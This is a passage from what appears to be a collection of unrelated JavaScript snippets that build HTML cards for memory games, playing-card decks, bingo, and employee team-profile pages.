id=\"github\">office number: ${emp.officeNumber}</li>\n </ul>\n </div>\n </div>\n </div>`\n } else {\n return \"Damn\"\n }\n\n}", "function generateCards(card){\n return `<li class=\"card\" data-card=\"${card}\"><i class=\"fa ${card}\"></i></li>`;\n}", "function generateCards() {\n for (var i = 0; i < 2; i++) {\n cardLists = shuffle(cardLists);\n cardLists.forEach(createCard);\n }\n}", "function generateBoard(){\n let deckOfcards = shuffle(cards).map(function(card){\n return createCard(card);\n });\n $('.deck').html(deckOfcards);\n}", "function makeCardHTML() {\n\tlet shuffledCards = shuffle(cardTypes);\n\tlet newCard;\n\tfor (cards in shuffledCards) {\n\t\tnewCard = $(`<li class=\"card\"><i class=\"fa ${shuffledCards[cards]}\"></i></li>`);\n\t\tdeck.append(newCard.clone());\n\t}\n}", "function generateCard(card) {\n\t\n\treturn `<li class=\"card\" data-card=\"${card}\"><i class=\"fa ${card}\"></i></li>`;\t\t\t\n}", "function createCardlist(){\n var arr = [];\n for (var i = 1; i<=52; i++)\n {\n var face = i%13;\n switch(face){\n case 1:\n face = \"Ace\";\n break;\n case 11:\n face = \"Jack\";\n break;\n case 12:\n face = \"Queen\";\n break;\n case 0:\n face = \"King\";\n break;\n default:\n face = face.toString();\n break;\n }\n\n var suit;\n switch(Math.floor(i/13)) {\n case 0:\n suit = \"Spade\";\n break;\n case 1:\n suit = \"Diamond\";\n break;\n case 2:\n suit = \"Heart\";\n break;\n case 3:\n suit = \"Club\";\n break;\n default:\n break;\n }\n arr[i-1] = face + \" of \" + suit;\n }\n return arr;\n}", "function createCard() {\n $(\".deck\").empty();\n let cardList = shuffle(cards);\n for (const card of cardList) {\n $(\".deck\").append('<li class=\"card\"><i class=\"fa fa-' + card + '\"></i></li>');\n };\n }", "function generateTeam(teamManager, teamEngineer, teamIntern) {\n\n return `\n <html lang=\"en\">\n <head>\n\n <meta charset=\"UTF-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <title>Document</title>\n <link href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta2/dist/css/bootstrap.min.css\" rel=\"stylesheet\" integrity=\"sha384-BmbxuPwQa2lc/FVzBcNJ7UAyJxM6wuqIj61tLrc4wSX0szH/Ev+nYRRuWlolflfl\" crossorigin=\"anonymous\">\n <link rel=\"stylesheet\" href=\"./dist/style.css\">\n\n </head>\n\n <body>\n\n <header class=\"header\">\n <h1>My Team</h1>\n </header>\n\n <main class=\"row justify-content-center\">\n\n <section class=\"col-md-10 justify-content-center text-center m-3\">\n\n\n <div class=\"card shadow rounded\">\n\n <div class=\"card-header\">\n\n ${teamManager[0].getName()} \n <br>\n ${teamManager[0].getRole()} \n\n </div>\n\n <div class=\"card-body\">\n\n <ul class=\"list-group list-group-flush border\">\n\n <li class=\"list-group-item\">ID: ${teamManager[0].getId()} </li>\n <li class=\"list-group-item\">Email: <a href=\"mailto:${teamManager[0].getEmail()}\">${teamManager[0].getEmail()}</a> </li>\n <li class=\"list-group-item\">Office Number: ${teamManager[0].getOfficeNum()} </li>\n\n </ul>\n\n </div>\n\n </div>\n \n\n <section class=\"row row-cols-1 row-cols-md-3 g-4 mt-2\"> \n \n \n ${loopEngineer(teamEngineer)}\n \n ${loopIntern(teamIntern)}\n \n\n </section>\n \n </section>\n\n </main>\n \n\n\n \n <script src=\"https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta2/dist/js/bootstrap.bundle.min.js\" integrity=\"sha384-b5kHyXgcpbZJO/tY9Ul7kGkf1S0CWuKcCD38l8YkeH8z8QjE0GmW1gYU5S9FOnJ0\" crossorigin=\"anonymous\"></script>\n\n </body>\n </html>\n `\n}", "function createCard() {\n let cardList = shuffle(cards);\n cardList.forEach(function(card) {\n $(\".deck\").append('<li><i class=\"card fa ' + card + '\"></i></li>');\n\n });\n}", "function generateCard(data) { \n let studentHtml = ``; \n data.forEach(student => {\n studentHtml += `<div class=\"card\"><div class=\"card-img-container\">`;\n studentHtml += `<img class=\"card-img\" src=\"${student.picture.large}\"\n alt=\"profile picture\"></div>`;\n studentHtml += `<div class=\"card-info-container\">`;\n studentHtml += `<h3 id=\"name\" class=\"card-name cap\">${student.name.first} ${student.name.last}</h3>`;\n studentHtml +=`<p class=\"card-text\">${student.email}</p>`;\n studentHtml +=`<p class=\"card-text cap\">${student.location.city}</p>`;\n studentHtml +=`</div></div>`; \n }); \n gallery.innerHTML = studentHtml; \n}", "function generateCards() {\n if (fieldSize % 2 != 0) fieldSizeIsOdd = true;\n if (fieldSizeIsOdd == true) {\n // input a not clickable dummy card for an odd fieldsize\n var dummyCard = {\n matchingPair: 999,\n isOpen: false,\n isMatching: false,\n isClickable: false,\n img: \"odd\"\n };\n fieldSizeIsOdd = true;\n cardArr.push(dummyCard);\n }\n\n for (var i = 0; i < Math.floor(fieldSize / 2); i++) {\n var card1 = {\n matchingPair: i,\n isOpen: false,\n isMatching: false,\n isClickable: true,\n img: \"dog\" + digitFormat(i + 1)\n };\n cardArr.push(card1);\n cardArr.push(card1); //push again for the second set of cards\n }\n // rearrange order of the card array\n shuffleCards();\n }", "function generateCards(arr) {\n for (let item of arr) {\n // Använda Instans-metod för att skap kort\n let card_element = item.createCard();\n imgWrappers.appendChild(card_element);\n\n }\n}", "function generate_card(curr_movie) {\n // curr_movie is an object which property will helps to make card\n let card = document.createElement(\"div\")\n card.className = \"col-lg-4 col-md-6 col-12 p-2 bg-light\"\n card.innerHTML = `<div class=\"card p-1 \" >\n <img id=\"movie_picture\" src=${curr_movie.img} class=\"card-img-top\">\n <div class=\"card-body\">\n <h5 class=\"card-title text-info\">${curr_movie.name}</h5>\n <p class=\"card-text\">${curr_movie.desc}</p>\n <ul class=\"list-group\"> \n <h3> Locations: </h3>\n <li class=\"list-group-item\">\n ${curr_movie.locations.map(e => { return e })}\n </li>\n </ul> \n <h5 class=\"m-1\">Show Time : ${curr_movie.timing.from}-${curr_movie.timing.to} </h5>\n <button onclick=\"book_ticket()\" class=\"btn btn-success my-3\" id=${curr_movie.id}>Select</button>\n </div>\n </div>`\n return card\n}", "function generateDeck() {\n for (var num = 0; num < 16; num += 1) {\n $(deck).append('<li class=\"card\"><i class=\"fa ' + givenCardsArray[num] + '\"></i></li>');\n }\n}", "generateCards() {\n var cards = [];\n var suits = ['spades', 'clubs', 'diamonds', 'hearts'];\n var values = ['2', '3', '4', '5', '6', '7', '8', '9', '10', 'jack', 'queen', 'king', 'ace'];\n\n // Maps out the objects for each card\n suits.map((_suit) => {\n return values.map((_value) => {\n return cards.push({ suit: _suit, value: _value, showBack: true });\n });\n });\n\n // Returns the newly created and shuffled deck\n return this.shuffleCards(cards);\n }", "function generateCard(card) {\n\treturn `<li class=\"card\" data-card=${card}>\n\t\t\t\t<i class=\"fa ${card}\"></i>\n\t\t\t</li>`;\n}", "function generateCard(card) { \n return `<li class=\"card\" data-card=\"${card}\"><i class=\"fa ${card}\"></i></li>`;\n}", "function generateCards() {\n let emptySpace = Math.floor(Math.random() * 18) + 1;\n\n for (let i = 1; i < 19; i++) {\n let alphabet;\n let image;\n let alphaNum = Math.floor(Math.random() * 4) + 1;\n let cardNum = Math.floor(Math.random() * 8) + 2;\n\n let className = 0 + i + \"_card\";\n if (alphaNum == 1) {\n alphabet = \"C\";\n } else if (alphaNum == 2) {\n alphabet = \"D\";\n } else if (alphaNum == 3) {\n alphabet = \"H\";\n } else if (alphaNum == 4) {\n alphabet = \"S\";\n }\n\n if (i == emptySpace) {\n image = \"\";\n } else {\n image = \"<img src='img/\" + cardNum + alphabet + \".png' class='card'>\";\n }\n\n let pageContent = \"<div class='\" + className + \"' >\" + image + \"</div> \";\n\n cards.insertAdjacentHTML(\"beforeend\", pageContent);\n }\n}", "function genarateCards(){\n const cardHTMLArray = [];\n\n CARD_NAMES.forEach((name, index) => {\n const imageCardHTML = `\n <div class=\"card\" data-id=\"${index}\">\n <div class=\"front-face face\"><img src=\"assets/images/${name}.jpg\"></div> \n <div class=\"back-face face\"><img src=\"assets/images/back.jpg\"></div> \n </div>`;\n const textCardHTML = `\n <div class=\"card\" data-id=\"${index}\">\n <div class=\"front-face face\"><img src=\"assets/images/white.jpg\"><span class=\"card-text\">${name}</span></div> \n <div class=\"back-face face\"><img src=\"assets/images/back.jpg\"></div> \n </div>`;\n\n cardHTMLArray.push(imageCardHTML, textCardHTML);\n });\n cardHTMLArray.sort((a, b) => 0.5 - Math.random());\n document.querySelector('[data-grid]').innerHTML = cardHTMLArray.join('');\n}", "function createHTML() {\n let cardList = shuffle(myCards);\n cardList.forEach(function(card) {\n $(\".deck\").append('<li><i class=\"card fa ' + card + '\"></i></li>');\n })\n}", "static addInternToSkeleton(teamArray) {\n const engArray = teamArray.filter(teamMember => teamMember instanceof Intern)\n let toReturn = \"\"\n engArray.forEach(intern => {\n toReturn = toReturn + `<div class=\"card interncard p0 m-3\">\n <div class=\"container\">\n <h4><b>${intern.getName()}</b></h4>\n <p>${Intern.getRole()}</p>\n <hr>\n <p>ID: ${intern.getId()}</p>\n <p>Email: <a href=\"mailto:${intern.getEmail()}\">${intern.getEmail()}</a></p>\n <p>school: ${intern.getSchool()}</p>\n </div>\n </div>\n `\n }); \n return toReturn;\n }", "function createCards() {\n cardsData.forEach((data, index) => createCard(data, index));\n }", "function getCards() {\n // Array to hold Suites\n var suites = ['Diamonds', 'Spades', 'Hearts', 'Clubs'];\n // Array to hold non-numeric card faces \n var faceCards = ['J', 'Q', 'K', 'A'];\n\n // Array to hold Cards\n var cards = [];\n\n // Loop for each Suite\n var currentCardIndex = 0;\n for (var suite in suites) {\n // Loop for numeric cards\n for (var i = 2; i <= 10; i++) {\n cards.push(createCard(i, suites[suite], currentCardIndex));\n currentCardIndex++;\n }\n // Loop for non-numeric cards\n for (var face in faceCards) {\n cards.push(createCard(faceCards[face], suites[suite], currentCardIndex));\n currentCardIndex++;\n }\n currentCardIndex = 0;\n}\n\n // Return Array of Card Objects\n return cards;\n}", "function generateDeck(cards) {\n // Loop through each element in the cards array and create its HTML\n var deck = cards.map(function(card) {\n return `<li class=\"card\"><i class=\"${card}\"></i></li>`;\n });\n\n return deck.join('');\n}", "async function engineerCard(){\n for(let i = 0; i < engineerArray.length; i++){\n html += `<!-- Engineer Card-->\n <div class=\"col\">\n <div class=\"card\" style=\"width: 18rem;\">\n <div class=\"card-body\">\n <div class=\"cardHead\">\n <h5 class=\"card-title\">${engineerArray[i].name}</h5>\n <h6 class=\"card-subtitle mb-2\"><span class=\"icon\"><i class=\"fas fa-glasses\"></i></span>Engineer</h6>\n </div>\n <p class=\"card-text\">ID: ${engineerArray[i].id}</p>\n <p class=\"card-text\"><span class=\"icon\">Email:</span><a href=\"mailto:${engineerArray[i].email}\" class=\"card-link\">${engineerArray[i].email}</a></p>\n <p class=\"card-text\"><span class=\"icon\">Github:</span><a href=\"https://github.com/${engineerArray[i].github}\" target=\"_blank\" class=\"card-link\">${engineerArray[i].github}</a></p>\n </div>\n </div>\n </div>\n\n `\n }\n}", "function createBoard() {\n shuffledCards = shuffle(cardList);\n shuffledCardsHTML = cardList.map(function(card) {\n return generateCardHTML(card)\n });\n deck.innerHTML = shuffledCardsHTML.join('');\n}", "function generateCard(){\n //Generamos una tarjeta de 15 números, asumiendo que no opuede haber dos números iguales en ella y solamente puede haber del 0 al 99\n var bingoCard = {};\n //Array conlos números ya utilizados\n var usedNumbers = [];\n //el loop genera 15 distintas posiciones\n for (var i = 0; i <= 14; i++){\n do{\n var coincidence = false\n //Número aleatorio del 1 al 99\n bingoCard[i] = {number: (Math.round(Math.random()*98)+ 1), matched: false};\n //Check de coincidencias entre el array de números utilizados y el nuevo número\n for(var c=0; c < usedNumbers.length; c++){\n if (bingoCard[i].number == usedNumbers[c]){coincidence = true};\n };\n //Si hay coincidencias, generamos otro número aleatorio hasta que no haya coincidencias\n } while (coincidence == true);\n usedNumbers.push(bingoCard[i].number);\n };\n return bingoCard;\n }", "generate_deck(Difficulty) {\n let shapes = [\"oval\", \"squiggle\", \"diamond\"]\n let colors = [\"red\", \"green\", \"purple\"]\n let numbers = [\"one\", \"two\", \"three\"]\n let shadings = [\"solid\", \"striped\", \"outlined\"]\n\n // creates card generator function\n let card = (shape, color, number, shading) => {\n let name =\n \"Shape :\" +\n shape +\n \";Color :\" +\n color +\n \";Number :\" +\n number +\n \";Shade :\" +\n shading\n //returns key and values into each instance of the this.deck array\n return {\n name: name,\n shape: shape,\n color: color,\n number: number,\n shading: shading,\n }\n }\n\n if (Difficulty === \"Advanced\") {\n for (let s = 0; s < shapes.length; s++) {\n for (let c = 0; c < colors.length; c++) {\n for (let n = 0; n < numbers.length; n++) {\n for (let i = 0; i < shadings.length; i++) {\n this.deck.push(\n card(shapes[s], colors[c], numbers[n], shadings[i]),\n )\n }\n }\n }\n }\n } else {\n for (let s = 0; s < shapes.length; s++) {\n for (let c = 0; c < colors.length; c++) {\n for (let n = 0; n < numbers.length; n++) {\n this.deck.push(card(shapes[s], colors[c], numbers[n], \"solid\"))\n }\n }\n }\n }\n }", "generateTeamHTML(){\n var returnHTML = [];\n\n returnHTML.push(\n `\n <div class=\"m-2\">\n <div class=\"card shadow\">\n <div class=\"card-header bg-success text-white\">\n <h1 class=\"card-title\">${this.manager.name}</h1>\n <h2 class=\"card-title\"><i class=\"bi bi-briefcase-fill\"></i> ${this.manager.getRole()}</h2>\n </div>\n <div class=\"card-body bg-light\">\n <ul class=\"list-group list-group-flush border\">\n <li class=\"list-group-item\">ID: ${this.manager.id}</li>\n <li class=\"list-group-item\">Email: <a href=\"mailto:${this.manager.email}\">${this.manager.email}</a></li>\n <li class=\"list-group-item\">Office Number: ${this.manager.officeNumber}</li>\n </ul>\n </div>\n </div>\n </div>`\n );\n\n this.engineers.forEach(engineer => {\n returnHTML.push(\n `\n <div class=\"m-2\">\n <div class=\"card shadow\">\n <div class=\"card-header bg-primary text-white\">\n <h1 class=\"card-title\">${engineer.name}</h1>\n <h2 class=\"card-title\"><i class=\"bi bi-tools\"></i> ${engineer.getRole()}</h2>\n </div>\n <div class=\"card-body bg-light\">\n <ul class=\"list-group list-group-flush border\">\n <li class=\"list-group-item\">ID: ${engineer.id}</li>\n <li class=\"list-group-item\">Email: <a href=\"mailto:${engineer.email}\">${engineer.email}</a></li>\n <li class=\"list-group-item\">GitHub: <a href=\"https://github.com/${engineer.github}\">${engineer.github}</a></li>\n </ul>\n </div>\n </div>\n </div>`\n );\n });\n\n this.interns.forEach(intern =>{\n returnHTML.push(\n `\n <div class=\"m-2\">\n <div class=\"card shadow\">\n <div class=\"card-header bg-info text-white\">\n <h1 class=\"card-title\">${intern.name}</h1>\n <h2 class=\"card-title\"><i class=\"bi bi-pencil-square\"></i> ${intern.getRole()}</h2>\n </div>\n <div class=\"card-body bg-light\">\n <ul class=\"list-group list-group-flush border\">\n <li class=\"list-group-item\">ID: ${intern.id}</li>\n <li class=\"list-group-item\">Email: <a href=\"mailto:${intern.email}\">${intern.email}</a></li>\n <li class=\"list-group-item\">School: ${intern.school}</li>\n </ul>\n </div>\n </div>\n </div>`\n );\n });\n\n return returnHTML.join(\"\");\n }", "function generateProfile(workers) {\n let templateArray = [];\n for (var i = 0; i < workers.length; i++) {\n if (workers[i].getRole() === \"Manager\") {\n templateArray.push(generateManagerCard(workers[i]));\n }\n if (workers[i].getRole() === \"Engineer\") {\n templateArray.push(generateEngineerCard(workers[i]));\n }\n if (workers[i].getRole() === \"Intern\") {\n templateArray.push(generateInternCard(workers[i]));\n }\n }\n return ` \n <!DOCTYPE html>\n <html lang=\"en\">\n <head>\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n <link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css\" integrity=\"sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO\" crossorigin=\"anonymous\">\n <link rel=\"stylesheet\" href=\"https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css\">\n <title>Team Profile Generator</title>\n </head>\n <body>\n <section class=\"container-fluid py-5 bg-info text-center text-light\">\n <h1>My Team</h1>\n </section>\n <div class=\"container mt-5\">\n <div class=\"row row-cols-1 row-cols-sm-2 rows-cols-md-3 g-4\">\n ${templateArray.join(\"\")}\n </div>\n </div>\n\n </body>\n \n </html>`;\n}", "function createRequirementCard(team) {\n // Dynamically create card info\n let card = $(\"<div>\", {class: \"card col-md-4 m-4\"});\n let cardHead = $(\"<h3>\", {text: \"Team Rules\", class: \"card-header text-center\"})\n let cardBody = $(\"<div>\", {class: \"card-body\"});\n let cardText1 = $(\"<p>\", {text: \"\\u2022 Max Team Size - \" + team.MaxTeamMembers});\n let cardText2 = $(\"<p>\", {text: \"\\u2022 Ages \" + team.MinMemberAge + \"-\" + team.MaxMemberAge});\n let cardText3 = $(\"<p>\", {text: \"\\u2022 Gender - \" + team.TeamGender})\n\n // Append the head/body\n card.append(cardHead)\n .append(cardBody);\n\n // Append each element to the body\n cardBody.append(cardText1)\n .append(cardText2)\n .append(cardText3)\n\n return card;\n}", "function createMemberCard(member) {\n // Dynamically create card info\n let card = $(\"<div>\", {class: \"card col-md-3\"});\n let cardImg = $(\"<img>\", {src: member.Profile, alt: member.MemberId + \"Profile\", class: \"card-img-top\"});\n let cardHead = $(\"<h5>\", {text: member.MemberName, class: \"card-header\"})\n let cardBody = $(\"<div>\", {class: \"card-body\"});\n let cardText1 = $(\"<p>\", {text: \"Age \" + member.Age});\n let cardText2 = $(\"<p>\", {text: \"Gender - \" + member.Gender})\n let cardText3 = $(\"<p>\", {text: \"Email - \" + member.Email});\n let cardText4 = $(\"<p>\", {text: \"Phone # - \" + member.Phone})\n let cardText5 = $(\"<p>\", {text: \"Contact Person - \" + member.ContactName})\n\n // Creates a edit button to be used in a action modal\n let editCard = $(\"<button>\", {type: \"button\", \n class: \"float-right\", \n id: \"editMember\" + member.MemberId, \n html: \"<i class='fas fa-pencil-alt'></i>\"});\n\n // Creates a remove button to be used in a action modal\n let removeCard = $(\"<button>\", {type: \"button\", \n class: \"float-right\", \n id: \"removeMember\" + member.MemberId,\n html: \"<i class='fas fa-times'></i>\"});\n\n // Append the body\n card.append(cardImg)\n .append(cardHead)\n .append(cardBody);\n\n // Append the buttons\n cardHead.append(removeCard)\n .append(editCard);\n \n // Append each tag to the body\n cardBody.append(cardText1)\n .append(cardText2)\n .append(cardText3)\n .append(cardText4)\n .append(cardText5);\n\n return card;\n}", "function createProfileHTMLCards(profile) {\n let icon = '';\n let order = '';\n if (profile.role === 'Manager'){\n icon = 'fas fa-mug-hot '\n order = 'order-first'\n link = `Office Number: ${profile.specialAttr}`\n } else if (profile.role === 'Engineer'){\n icon = 'fas fa-glasses '\n order = ' ';\n link = `Github: <a href=\"https://github.com/${profile.specialAttr}\" target=\"_blank\">${profile.specialAttr}</a>`\n } else if (profile.role === 'Intern'){\n icon = 'fas fa-user-graduate '\n order = 'order-last'\n link = `School: ${profile.specialAttr}`\n }\n \n let profileHTML = \n `\n <div id=\"employeeCard\" class=\"mb-4 col-sm col-md-4 ${order}\">\n <header>\n <h2>${profile.name}</h2>\n <h3><span class=\"${icon}\"></span> ${profile.role}</h3>\n <div class=\"card\">\n <ul class=\"list-group\">\n <li class=\"list-group-item\">ID: ${profile.id}</li>\n <li class=\"list-group-item\">Email: <a href=\"mailto:${profile.email}\">${profile.email}</a></li>\n <li class=\"list-group-item\">${link}</li> \n </ul>\n </div>\n </header>\n </div>\n\n `\n return profileHTML\n}", "function createCards(info, elementId) {\n var el = document.getElementById(elementId);\n var markupString = '';\n \n for (var i = 0; i < info['groups'].length; i++) {\n markupString += '<div class=\"col-lg-3 col-md-6\">' +\n '<div class=\"card card-small\">' +\n '<div class=\"card-image\"><img src=\"images/hero/' + info['groups'][i]['category'] + '.jpg\" alt=\"\"></div>'+\n '<div class=\"card-details\">'+\n '<div class=\"card-title\">'+\n '<h4 class=\"card-title\"><a href=\"index.php?group?id='+ info['groups'][i]['id'] +'\">' + info['groups'][i]['name'] + '</a></h4>'+\n '</div>'+\n '<div class=\"card-info\">'+\n '<p>Last activity: 8 days ago</p>'+\n '<p>'+ info['groups'][i]['membersCount'] +' Members</p>'+\n '<p hidden>meditation</p>'+\n '<p hidden>' + info['groups'][i]['street'] + '</p>'+\n '<p>' + info['groups'][i]['city'] + '</p>'+\n '</div>'+\n '<div class=\"card-description\">'+\n '<p>' + info['groups'][i]['description'] + '</p>'+\n '</div>'+\n '</div>';\n if (info['loggedIn']) {\n if (info['groups'][i]['member'] == true) {\n markupString += '<div class=\"card-button active\">'+\n '<button id=\"' + info['groups'][i]['id'] + '\" value=\"Leave\" class=\"btn btn-success btn-block btn-action\">Leave</button>'+\n '</div>';\n } else {\n markupString += '<div class=\"card-button\">'+\n '<button id=\"' + info['groups'][i]['id'] + '\" value=\"Join\" class=\"btn btn-primary btn-block btn-action\">Join</button>'+\n '</div>';\n }\n }\n\n markupString += '</div></div>';\n }\n\n el.innerHTML = markupString;\n}", "async function generateGameCards() {\n const nums = [...Array(10).keys()];\n nums.shift();\n nums.splice(4, 1);\n const random = Math.floor(Math.random() * nums.length);\n nums.splice(random, 0, 5);\n\n const template = document.getElementById('card-template');\n const output = document.getElementById('card');\n\n return nums.forEach((num) => {\n let clone = template.content.cloneNode(true);\n let img = clone.querySelector('.content img');\n img.src = img.src.replace('__value', num);\n output.appendChild(clone);\n });\n}", "function generateCard(toyId, toyName, toyImageUrl, toyLikeCount){\n\t\t// generate the header\n\t\tconst h2 = document.createElement('h2');\n\t\th2.append(toyName);\n\n\t\t// generate the image\n\t\tconst img = document.createElement('img');\n\t\timg.src = toyImageUrl;\n\t\timg.classList.add('toy-avatar');\n\n\t\t// generate the like count\n\t\tconst p = document.createElement('p');\n\t\tp.append(toyLikeCount + ' ' + likeVsLikes(toyLikeCount));\n\n\t\t// generate the like button\n\t\tconst button = document.createElement('button');\n\t\tbutton.classList.add('like-btn');\n\t\tbutton.append('Like 🖤');\n\n\t\t// generate the final toy card\n\t\tconst toyCard = document.createElement('div');\n\t\ttoyCard.dataset.id = toyId;\n\t\ttoyCard.classList.add('card');\n\t\ttoyCard.append(h2, img, p, button);\n\n\t\t// append it to the page\n\t\ttoyCollection.append(toyCard);\n\t}", "function displaycard(num){\n for(let i =0; i<num; i++){\n //add details\n let articleEl = document.createElement('article')\n let h2El = document.createElement('h2')\n let imgEl = document.createElement('img')\n let divEl = document.createElement('div')\n let gameEl = document.createElement('span')\n //set class\n articleEl.setAttribute('class', 'card')\n h2El.setAttribute('class', 'card--title')\n imgEl.setAttribute('class', 'card--img')\n divEl.setAttribute('class', 'card--text')\n articleEl.setAttribute('class', 'card')\n h2El.innerText = data[i].name\n // varible\n imgEl.setAttribute('src', data[i].sprites.other[\"official-artwork\"].front_default )\n imgEl.setAttribute('width','256')\n // varible\n const stats = data[i].stats\n for(const item of stats){\n let pEl = document.createElement('p')\n pEl.innerText = `${item.stat.name.toUpperCase()}: ${item.base_stat}`\n divEl.append(pEl)\n }\n // chanllenge1\n const gameIndices = data[i].game_indices\n for(const indice of gameIndices ){\n gameEl.innerText = gameEl.innerText + indice.version.name +'/ '\n divEl.append(\n gameEl\n )\n }\n //chanllenge1\n let sectionEl = document.querySelector('section')\n sectionEl.append(articleEl)\n articleEl.append(h2El, imgEl,divEl)\n } \n}", "function newGame() {\n let deck = document.querySelector('.deck');\n //shuffle the list of cards using the provided \"shuffle\" method\n let cardGrid = shuffle(allCards).map(function(card) {\n //loop through each card and create its HTML\n return makeCard(card);\n });\n //add each card's HTML to the page\n deck.innerHTML = cardGrid.join('');\n}", "function createCards(players) {\r\n var allCards = ' ';\r\n for (var i = 0; i < players.length; i++) {\r\n allCards = allCards + '<div class=\"flipper animated col-offset-3 col-sm-offset-6 col-md-offset-5 col-lg-offset-4 col-xl-offset-3\" id=\"' + i + '\"><div class=\"front\"><img src=\"img/cover.jpg\" class=\"img-responsive card\"/></div><div class=\"back\"><img src=\"' + players[i].image + '\" class=\"img-responsive card\"/></div></div>';\r\n }\r\n // Appending Cards in fliprow\r\n $(\".fliprow\").html(allCards);\r\n }", "deck() {\n var cards = this.giveCards();//get all cards\n var PersonCards = [[], [], [], []];\n var x = 0;\n for (let person = 0; person < 4; person++) {//distribute the cards in among four person\n for (let index = 0; index < 9; index++) {\n PersonCards[person][index] = cards[index + x]\n }\n x = x + 9;\n\n }\n console.log(\"The First persons cards \" + PersonCards[0].join());\n console.log(\"The Seconds persons cards \" + PersonCards[1].join());\n console.log(\"The Third persons cards \" + PersonCards[2].join());\n console.log(\"The Fourth persons cards \" + PersonCards[3].join());\n\n\n\n\n }", "function generateCard(data) {\n //setting employeeDataArray = data allows access to data from \n //fetchData call\n employeeDataArray = data;\n //looped over employeeDataArray to creat each individual card\n employeeDataArray.forEach((result, index) => {\n //object literals allow each cards specific data to populate\n const picture = result.picture.large;\n const name = `${result.name.first} ${result.name.last}`;\n const email = result.email;\n const cityState = `${result.location.city}, ${result.location.state}`;\n \n const htmlCard = `\n <div class=\"card\" data-index=\"${index}\" data-employee=\"${name}\">\n <div class=\"card-img-container\">\n <img class=\"card-img\" src=\"${picture}\" alt=\"profile picture\">\n </div>\n <div class=\"card-info-container\">\n <h3 id=\"name\" class=\"card-name cap\">${name}</h3>\n <p class=\"card-text\">${email}</p>\n <p class=\"card-text cap\">${cityState}</p>\n </div>\n </div>\n `;\n gallery.insertAdjacentHTML(\"beforeEnd\", htmlCard);\n })\n}", "function createCards(globals) {\n var BACKGROUND = 'http://openclipart.org/people/nicubunu/nicubunu_Card_backs_grid_blue.svg';\n var SORTED_BACKGROUND = 'http://openclipart.org/people/nicubunu/nicubunu_Card_backs_grid_red.svg';\n var FOREGROUND = 'http://openclipart.org/people/nicubunu/nicubunu_Ornamental_deck_';\n //var cardNumbers = ['Ace', 'King', 'Queen', 'Jack', '10', '9', '8', '7', '6', '5', '4', '3', '2', 'Ace', 'King', 'Queen'];\t\n\t//var values = [13,12,11,10,9,8,7,6,5,4,3,2,1];\n var cardNumbers = ['2', '3','4','5','6','7','8','9','10','Jack','Queen','King', 'Ace'];\t\n\tvar values = [1,2,3,4,5,6,7,8,9,10,11,12,13];\n \n\tvar cardSuits = ['spades', 'clubs', 'diamonds', 'hearts', 'spades', 'clubs', 'diamonds', 'hearts', 'spades', 'clubs', 'diamonds', 'diamonds', 'spades', 'clubs', 'diamonds', 'hearts'];\n\n // Randomized array of cards\n var cardArray = [];\n // Maps card number to actual card struct\n var cards = {};\n\n // Populate cards and cardArray with card objects\n for (var i = 0; i < globals.NUM_CARDS; i++) {\n var newCard = {};\n newCard.num = i;\n newCard.flipped = false;\n newCard.sorted = false;\n newCard.normalBack = BACKGROUND;\n newCard.sortedBack = SORTED_BACKGROUND;\n\t\tnewCard.value = values[i];\n \n\t\tnewCard.frontFace = FOREGROUND + cardNumbers[i] + '_of_' + cardSuits[i] + '.svg';\n newCard.rightPivot = globals.NUM_CARDS;\n\t\tnewCard.leftPivot = -1;\n\t\t\n\t\tcardArray.push(newCard);\n cards[i] = newCard;\n\t\t\n }\n\n // Randomize ordering of cardArray\n var currentIndex, temporaryValue, randomIndex;\n currentIndex = cardArray.length;\n while (0 !== currentIndex) {\n randomIndex = Math.floor(Math.random() * currentIndex);\n currentIndex -= 1;\n\n temporaryValue = cardArray[currentIndex];\n cardArray[currentIndex] = cardArray[randomIndex];\n cardArray[randomIndex] = temporaryValue;\n }\n\n // Set zIndex and xPos values based on randomized positions\n for (i = 0; i < globals.NUM_CARDS; i++) {\n var num = cardArray[i].num;\n cards[num].zIndex = i;\n cards[num].xPos = globals.PADDING + globals.SPACE * i;\n }\n\n globals.cardArray = cardArray;\n globals.cards = cards;\n}", "function createCard() {\n \tconst shuffleCards = shuffle(cardList);\n \tshuffleCards.forEach(function(card){\n \t\tconst li = document.createElement('li');\n \t\tconst i = document.createElement('i');\n \t\tli.setAttribute('class','card');\n \t\ti.setAttribute('class',card);\n \t\tli.appendChild(i);\n \t\tul.appendChild(li);\n \t});\n \tdeck.appendChild(ul);\n }", "populateDeck()\n {\n this.cards = [];\n //jack 11\n //queen 12\n //king 13\n //ace 14\n\n for (let i = 2; i < 15; i++)\n {\n let card = new Card(\"Spades\", i, `./assets/Playing Cards/Playing Cards (.SVG)/${i}_of_spades.svg`);\n this.cards.push(card);\n }\n\n for (let i = 2; i < 15; i++)\n {\n let card = new Card(\"Clubs\", i, `./assets/Playing Cards/Playing Cards (.SVG)/${i}_of_clubs.svg`);\n this.cards.push(card);\n }\n\n for (let i = 2; i < 15; i++)\n {\n let card = new Card(\"Hearts\", i, `./assets/Playing Cards/Playing Cards (.SVG)/${i}_of_hearts.svg`);\n this.cards.push(card);\n }\n\n for (let i = 2; i < 15; i++)\n {\n let card = new Card(\"Diamonds\", i, `./assets/Playing Cards/Playing Cards (.SVG)/${i}_of_diamonds.svg`);\n this.cards.push(card);\n }\n this.shuffleDeck();\n }", "function generateMatchupComparisonCard(cardID) {\n // Generates the wrapper HTML for a matchup comparison card\n \n // Build HTML\n const cardHTML = `<section class=\"card js-card\" id=\"${cardID}\"\n tabindex=\"0\"></section>`;\n \n // Create card\n $('main').append(cardHTML);\n \n}", "function generateHtml(team, name) {\n\t// add initial html to the htmlString\n\tlet htmlString = `\n<!DOCTYPE html>\n<html lang=\"en\">\n\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\">\n <meta name=\"Description\" content=\"Enter your description 